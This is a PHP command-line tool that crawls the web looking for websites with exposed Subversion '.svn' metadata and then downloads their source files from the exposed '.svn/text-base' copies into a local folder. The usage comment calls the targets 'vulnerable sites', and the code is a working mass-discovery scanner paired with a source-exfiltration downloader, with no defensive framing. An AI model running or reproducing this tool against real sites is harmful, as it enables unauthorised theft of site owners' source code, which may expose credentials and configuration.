<?php

/*******************************************************
*
* How to use:
*
* 1) create a writable folder called sites/
* 2) create a writable file called log.log
*
*
* To spider through differnet websites looking for vulnerable sites:
*
* php script.php spider http://www.startingsite.com
*
*
* To download a vulnerable website:
*
* php script.php download http://www.vulnerablesite.com
*
********************************************************/


class SvnSpider {

	private $queue = array();
	private $history = array();
	private $log = "log.log";

	public function __construct($start_url)
	{
		if (substr($start_url, -1) != "/") $start_url .= "/";
		if (($handle = fopen($this->log, "r")) !== FALSE) {
		    while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
		        $this->history[] = $data[0];
		    }
		    fclose($handle);
		}
		$this->queue[] = $start_url;
	}
	public function spider()
	{
		while (count($this->queue) > 0)
		{
			$vulnerable = false;

			$url = array_shift($this->queue);
			echo "checking ".$url;
			$page = @file_get_contents($url);
			if (preg_match("/200/", $http_response_header[0]))
			{
				preg_match_all("/(http:\/\/[-A-Za-z0-9+@=~_\(\)|!:,.;]*)/si", $page, $matches);
				foreach($matches[0] as $match)
				{
					if (substr($match, -1) != "/") $match .= "/";
					if (!in_array($match, $this->queue)
					&&  !in_array($match, $this->history)
					&&  $match != $url
					&&  preg_match('|^http(s)?://[a-z0-9-]+(.[a-z0-9-]+)*(:[0-9]+)?(/.*)?$|i', $match))
					{
						$this->queue[] = $match;
					}
				}

				$entries = @file_get_contents($url.".svn/entries");
				$vulnerable = preg_match("/200/", $http_response_header[0])
				&&  (preg_match("/\n([^\n]+)\n(?:dir|file)/", $entries)
				||   preg_match("/kind=\"(?:dir|name)\"/", $entries));

				if ($vulnerable) echo " (vulnerable)";
			}

			file_put_contents($this->log, '"'.$url.'",'.($vulnerable?1:0)."\n", FILE_APPEND);
			$this->history[] = $url;
			echo "\n";
		}
	}
}

class SvnDownloader {
	private $base_path;
	private $directories = array();
	private $files = array();
	private $retrieved = array();
	private $host;

	public function __construct($base_path)
	{
		if (substr($base_path, -1) != "/") $base_path .= "/";
		$url_info = parse_url($base_path);
		$this->host_folder = "sites/".$url_info["host"];
		if (!file_exists($this->host_folder))
		{
			mkdir($this->host_folder);
		}
		$this->base_path = $base_path;
		$this->directories[] = $base_path;
	}

	public function spider()
	{
		while (count($this->directories) > 0)
		{
			$dir = array_shift($this->directories);
			echo "getting ".$dir."\n";
			$content = @file_get_contents($dir.".svn/entries");

			if (in_array("Content-Type: text/xml", $http_response_header))
			{
				$nodes = simplexml_load_string($content);
				foreach ($nodes as $node)
				{
					$att = $node->attributes();
					if (!empty($att->name))
					{
						switch ($att->kind)
						{
							case "file":
								$this->addFile($dir.$att->name);
								break;
							case "dir":
							default:
								$this->addDirectory($dir.$att->name);
						}
					}
				}

			}
			else
			{
				preg_match_all("/\n([^\n]+)\n(dir|file)/im",
					$content,
					$matches, PREG_SET_ORDER);
				foreach ($matches as $match)
				{
					list (,$path, $type) = $match;
					switch ($type)
					{
						case "file":
							$this->addFile($dir.$path);
							break;
						case "dir":
						default:
							$this->addDirectory($dir.$path);
					}
				}
			}
			if (count($this->directories) == 0 && count($this->files) == 0 && count($this->retrieved) == 0)
			{
				echo "This site doesn't seem to be vulnerable\n";
				rmdir($this->host_folder);
				exit;
			}
			$this->retrieved[] = $dir;
		}
		while (count($this->files) > 0)
		{
			$file = array_shift($this->files);
			echo "saving ".$file."\n";
			$contents = @file_get_contents(dirname($file)."/.svn/text-base/".basename($file).".svn-base");
			$url_details = parse_url($file);
			file_put_contents($this->host_folder.$url_details["path"], $contents);
		}
	}

	private function addFile($path)
	{
		if (!in_array($path, $this->files) && !in_array($path, $this->retrieved))
		{
			$this->files[] = $path;
		}
	}
	private function addDirectory($path)
	{
		if (!in_array($path, $this->directories) && !in_array($path, $this->retrieved))
		{
			$this->directories[] = $path."/";
			$url_details = parse_url($path);
			if (!file_exists($this->host_folder.$url_details["path"]))
			{
				mkdir($this->host_folder.$url_details["path"]);
			}
		}
	}
}

if (!isset($argv[1]))
{
	die("Please enter either \"download\" or \"spider\" as the first argument");
}
if (!isset($argv[2]))
{
	die("Please enter a url as the second argument");
}
$site_url = $argv[2];

switch($argv[1])
{
	case "download":
		$spider = new SvnDownloader($site_url);
		$spider->spider();
	break;
	case "spider":
		$spider = new SvnSpider($site_url);
		$spider->spider();
	break;
	default:
		die("Unknown command ".$argv[1]);
}
